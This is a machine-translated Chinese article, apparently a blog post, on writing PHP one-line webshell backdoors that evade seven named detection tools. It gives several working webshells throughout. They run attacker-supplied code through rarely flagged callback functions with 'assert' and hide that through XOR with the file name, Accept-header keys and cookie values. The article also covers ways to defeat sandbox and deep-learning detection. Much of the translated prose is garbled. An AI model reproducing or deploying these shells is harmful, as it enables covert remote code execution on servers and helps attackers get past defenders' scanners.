C#灰帽子:设计安全测试工具活动及PHP Webshell检测绕过方法详解
赠送书籍:“ C#灰色帽子:设计安全测试工具”

活动地址:
通常,使用可以执行系统命令,加载代码或组合某些普通功能以完成某些高级间谍功能的函数的脚本称为Webshell。
本文主要讨论Webshell检测工具和PHP语言平台的旁路方法,并实现了可以绕过7个主流(基本上代表安全行业中的PHP Webshell检测的一流级别)的PHP Webshell,专业工具和平台检测在下表中。 ,以零提示,没有警告和无法检测到的句子来构建一个单一的特洛伊木马后门。
1。杀死网站安全狗网
2。d-shield网络检查并杀死
3令人信服的Webshellkillertool
4bugscanerkillwebshell
5河马专业版杀死网络壳
6openraspwebdir+检测引擎
7深度学习模型检测PHP网络壳
在研究期间进行了大量测试。由于空间和文章效果,省略了一些测试过程和结果,而不会影响阅读经验。
0x01:Webshell后门
目前,我主要将用纯PHP代码实施的Webshell后门(以下称为“ Trojans”)分为以下类别:
单/更少的功能木马
可以完成少量功能的网络壳,例如编写文件,列出目录,查看文件和执行某些系统命令。
逻辑木马
利用系统逻辑漏洞或构建特殊的触发条件以绕过访问控制或执行特殊功能。
特洛伊木马的话
可以在目标服务器上执行PHP代码并与某些客户端进行交互的网络壳(例如厨刀和CKNIFE)。
多功能木马
根据PHP语法,编写更多代码并在服务器上执行,以完成大量的间谍功能网络壳(马来西亚)。
其中,特洛伊木马的原理如下:
客户端使用特殊的参数名称(密码)将PHP代码发送到服务器上放置的句子Trojan文件;
在一个单词中,Trojan脚本在服务器上执行已发送的PHP代码,然后将执行结果传递回客户端,客户端解析结果并将其显示给操作员。
0x02:研究当前杀戮状况
根据0x01的特洛伊木马原理,我们知道必须在服务器上执行客户端发送的字符串形式的PHP代码。
脚本需要将字符串(或文件流)作为PHP代码执行,目前主要使用以下功能:
评估:PHP 4,PHP 5,PHP 7+都可用,接受参数,执行字符串为PHP代码
断言:PHP 4,PHP 5,PHP 7.2都可以使用,通常接受一个参数,并且在PHP 5.4.8版本后可以接受两个参数
常规匹配类:preg_replace/mb_ereg_replace/preg_filter,等等。
文件包含类:include/include_once/require/require_once/file_get_contents等。
为了说明问题,本文将在上表中临时命名该函数,该功能可以用作代码执行,称为“函数计算机”。
不幸的是,每当功能机直接出现时,即使不是恶意操作,某些检测和杀戮软件也会产生警告,并且将无法满足我们的要求。
例如,使用D Shield检测以下脚本:
然后,需要一种方法来隐藏上述功能机。但是,随着犯罪和防御对抗的升级,避免网络壳检测和杀戮的效果已大大降低了,而不是传统的弦乐拆分,变形,划分转换,操作转换等。
因此,经过研究和比较,本文选择了通过PHP回调功能创建后门的技术,该功能可以携带参数以实现绕过检测软件的单句子Trojan后门。
我拿出了曾经用于测试的回调功能后门功能“ register_shutdown_function”。我发现,尽管D Shield和Scelianced工具并未注意到“ register_shutdown_function”加上“断言”的变形,但安全狗仍然注意到它。
php
$password = "LandGrey";
$ch = explode(".","hello.ass.world.er.t");
register_shutdown_function($ch[1].$ch[3].$ch[4], $_REQUEST[$password]);
?>
因此,可以合理地推测有一个恶意函数库,可以在Internet上披露的任何回调功能可以用作后门,并且很可能被检测到。
收集后,发现在50多个可以用作后门的网络上披露的回调功能和类中,仍然可以使用某些功能绕过Webshell检测和杀死软件。
0x03:查找可以用作后门的回调功能
访问PHP官方网站:
检查功能手册以查找可以用作后门的PHP回调功能。根据实践经验,使用以下五个关键字可以提高找到具有后门潜力的PHP回调功能的效率:
关键字1:可召唤
关键字2:混合$选项
关键字3:处理程序
关键字4:回调
关键字5:调用
此外,PHP扩展中也有一些合适的回调功能,但它们可能不会高度使用,并且不会在本文中讨论。
0x04:绕过传统检测
首先,使用所披露的array_udiff_assoc()函数在不杀死的情况下构造句子。
功能定义:
array array_udiff_assoc ( array $array1 , array $array2 [, array $... ], callable $value_compare_func )
根据定义,可以构建代码:
array_udiff_assoc(array("phpinfo();"), array(1), "assert");
继续构建适合客户连接的特洛伊木马:
php
/**
* Noticed: (PHP 5 >= 5.4.0, PHP 7)
*
*/
$password = "LandGrey";
array_udiff_assoc(array($_REQUEST[$password]), array(1), "assert");
?>
浏览器访问
();
CKNIFE添加目标密码:Landgrey可以成功连接。
使用检测工具检测:在一个句子中只发现了一个故意放置的评估。
BugScaner在线检查和杀死,通过
使用官方版本的河马在线检查,
到目前为止,我们已经绕过了安全犬,D Shield和Scarking Client Webshell,BugScanner和Hippo官方版本的在线杀戮。
可以发现,您只需要找到不经常出现或未出现在网络上的回调函数,并且略微变形即可绕过传统技术的检测。
“ array_intersect_ukey”的另一个示例反杀伤功能是给它一个示例:
php
/**
* Noticed: (PHP 5 >= 5.4.0, PHP 7)
*
*/
$password = "LandGrey";
$ch = explode(".","hello.ass.world.er.t");
array_intersect_ukey(array($_REQUEST[$password] => 1), array(1), $ch[1].$ch[3].$ch[4]);
?>
0x05:突破性OpenRASP Webshell沙箱检测
然后使用OpenRasp Team的WebDir+在线检测平台,发现它是后门。
在重复测试和观察之后,OpenRASP团队的网状检测使用动态监控技术。原则上,应该将脚本放在安全的沙箱中以执行执行,分析脚本行为,尝试触发脚本的后门动作等。无论令人困惑的脚本有多强大,或使用该功能的聪明程度,基本上将在试用期间检测到。
一开始,我发现使用PHP脚本加密技术可以有效绕过OpenRASP团队的WebDir+ Webshell检测服务。但是,加密操作太大了,将通过D-Shield或说服的Webshell检测软件来警告。它不仅将无法达到零警告,也不会提示,而且人眼会发现一眼就存在问题,因此它放弃了加密脚本路径。
然后,我暂时考虑了一段时间,这是一项技术,可以使用信息不对称来绕过OpenRASP WebDir+平台的检测:
1。重命名前后使用不同的脚本名称
经过几次检查,我发现WebDir+根据文件哈希值重命名所有上传文件。
如图所示,猜测该平台首先重命名上传脚本,然后在沙箱中驾驶检测网络壳。然后,您可以在重命名一个句子之前和之后使用脚本文件名之间的差异来完成旁路。用于旁路检测的核心特洛伊木马代码的一个示例如下:
php
$password = "LandGrey";
${"LandGrey"} = substr(__FILE__,-5,-4) . "class";
$f = $LandGrey ^ hex2bin("12101f040107");
array_intersect_uassoc (array($_REQUEST[$password] => ""), array(1), $f);
?>
脚本名称必须是“ *** s.php”的名称形式,也就是说,最后一个字符必须为“ s”,然后使用“ ss”和hex2bin(“ 12101F040107”)的值来获得“ ”,从而使用回调函数执行PHP代码。
上传到WebDir+系统后,脚本被重命名,“在试用执行过程中不能再现特洛伊木马行为”,从而绕过检测。对于这种方法有一个明显的要求,我们可以准确预测或控制脚本名称的最后一个字符。
如果以一般脚本编写,则根据文件名的最后一个字符自动选择XOR的字符串以获取“ servert”。代码示例如下:
php
$password = "LandGrey";
$key = substr(__FILE__,-5,-4);
${"LandGrey"} = $key."Land!";
$trick = array(
"0" => "51", "1" => "50", "2" => "53", "3" => "52", "4" => "55", "5" => "54", "6" => "57", "7" => "56", "8" => "59",
"9" => "58", "a" => "00", "b" => "03", "c" => "02", "d" => "05", "e" => "04", "f" => "07", "g" => "06", "h" => "09",
"i" => "08", "j" => "0b", "k" => "0a", "l" => "0d", "m" => "0c", "n" => "0f", "o" => "0e", "p" => "11", "q" => "10",
"r" => "13", "s" => "12", "t" => "15", "u" => "14", "v" => "17", "w" => "16", "x" => "19", "y" => "18", "z" => "1b",
"A" => "20", "B" => "23", "C" => "22", "D" => "25", "E" => "24", "F" => "27", "G" => "26", "H" => "29", "I" => "28",
"J" => "2b", "K" => "2a", "L" => "2d", "M" => "2c", "N" => "2f", "O" => "2e", "P" => "31", "Q" => "30", "R" => "33",
"S" => "32", "T" => "35", "U" => "34", "V" => "37", "W" => "36", "X" => "39", "Y" => "38", "Z" => "3b",
);
$f = pack("H*", $trick[$key]."3f120b1655") ^ $key."Land!";
array_intersect_uassoc (array($_REQUEST[$password] => ""), array(1), $f);
?>
如下图所示,它将被调查和杀死:
命名脚本scanner.php,硬编码脚本的最后一个字符是“ R”,该平台不会检测到我们的原始想法以及关于平台检测原理的一些猜测:
php
$password = "LandGrey";
$key = substr(__FILE__,-5,-4);
${"LandGrey"} = $key."Land!";
$f = pack("H*", "13"."3f120b1655") ^ $LandGrey;
array_intersect_uassoc (array($_REQUEST[$password] => ""), array(1), $f);
?
2。检测平台中缺少的信息
然后猜测:当脚本在沙箱中运行时,如果您无法获得允许脚本正常执行的密钥信息,则该平台将无法检测和杀死Webshell;当我们连接时,我们可以正常使用单句子的后门,从而绕开检测和杀戮。
例如,使用以下句子,当请求时,cknife带有请求标题接受:r,输入“ landgrey”以成功连接句子trojan:
php
$password = "LandGrey";
$key = substr(__FILE__,-5,-4);
${"LandGrey"} = $_SERVER["HTTP_ACCEPT"]."Land!";
$f = pack("H*", "13"."3f120b1655") ^ $LandGrey;
array_intersect_uassoc(array($_REQUEST[$password] => ""), array(1), $f);
?>
3。其他信息的差异
测试特殊目标时,您可以使用目标的特殊信息来构建信息差异以实现网络框架旁路。
例如,目标IP地址,域名,特殊cookie,会话字段和值的唯一性,可以在$ _server变量中控制的值,甚至是主机Web服务的根目录,即操作系统等等,有很多播放空间。
0x06:绕过深度学习技术检测
在0x05“ 1中使用脚本。在重命名之前和之后使用不同的脚本名称”,由深度学习模型技术网络固定检测到。
但是,基于回调函数而无需杀死,使用0x05“ 2给出的句子。使用检测平台的丢失信息”仍然可以突破WebShell.cdxy.me平台的Webshell检测:
为避免意外,请更改杀戮功能并再次对其进行测试。要求时,将cookie值设置为cookie:set-domain-name = ass;。以下示例脚本代码还可以绕过平台的检测和杀戮。当然,上述其他工具和平台也可以绕过。
php
/**
* Noticed: (PHP 5 >= 5.4.0, PHP 7)
*
*/
$password = "LandGrey";
$ch = $_COOKIE["set-domain-name"];
array_intersect_ukey(array($_REQUEST[$password] => 1), array(1), $ch."ert");
?>
小情节
在测试期间,还测试了河马机器学习检测和杀死引擎,但发现它无法通过。在测试期间,发现即使以下正常陈述也将被杀死:
php
array(1)
?>
因此,上传WordPress的源代码以测试系统的可用性。 1774年的文件,1494个可疑的后门。系统的测试结果不能用作判断标准,因此本文中省略了该平台的测试。
0x07:复活节彩蛋
最后,我将提供一个PHP一句特洛伊木马脚本,该脚本几乎可以绕过市场上的所有网络检查并杀死市场。当请求时,将引用器标头设置为“ ass ****”,例如:
推荐人:。
使用CKNIFE时,请注意,软件实现是有缺陷的,并且将从第二个“:”中截断,可以更改为: